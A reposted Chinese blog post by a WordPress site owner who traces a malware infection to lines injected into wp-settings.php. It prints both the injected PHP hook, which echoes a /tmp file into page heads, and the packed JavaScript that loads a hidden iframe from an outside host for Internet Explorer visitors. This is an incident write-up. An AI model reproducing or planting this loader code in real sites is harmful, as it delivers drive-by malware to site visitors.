以下内容为转载:
最近两个blog都不消停,总有木马嵌入的报告。是可忍孰不可忍,在今早收到google Webmaster的通知之后,决定彻底的查一下这个感染的原因。
登上FTP,看到wp-settings.php这个文件更新日期和其他的都不一样,就下下他来。然后和标准的安装包自带的wp-settings.php进行比对,果然发现多了这么几行:
function check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . '/wp_inc')){
readfile($t_d . '/wp_inc');
}
}
add_action('wp_head', 'check_wordpress');
遂加了一行echo $t_d. '/wp_inc' ;,华丽丽的发现输出了一个/tmp。这个时候访问blog并查看源文件,发现有一行代码被嵌入:
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|nl|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|hggf|navigator|ai|showthread|php|72241732'.split('|'),0,{}))
// ]]>
这就是一切祸首的来源!
总结一下,这个木马的入侵模式为:修改wp-settings.php文件,然后调用系统临时文件夹/tmp下的wp_inc文件,然后嵌入到网站的里面,实现JS入侵。
最简单的屏蔽办法自然是覆盖wp-settings.php文件,然后这行代码的嵌入果然消失了,网站也就没问题了。然而最大的问题则是,服务器已经被感染了,他会不断的重写wp-settings.php文件,而且就算我把文件的权限设为600(只读)而不是644也无济于事。这下子,我也不知道应该怎么办了……看了一下google的report,貌似整个服务器上有很多网站都中招了,汗。
围观老外讨论:http://wordpress.org/support/topic/my-website-is-infected-with-mass-iframe-injection-attack-2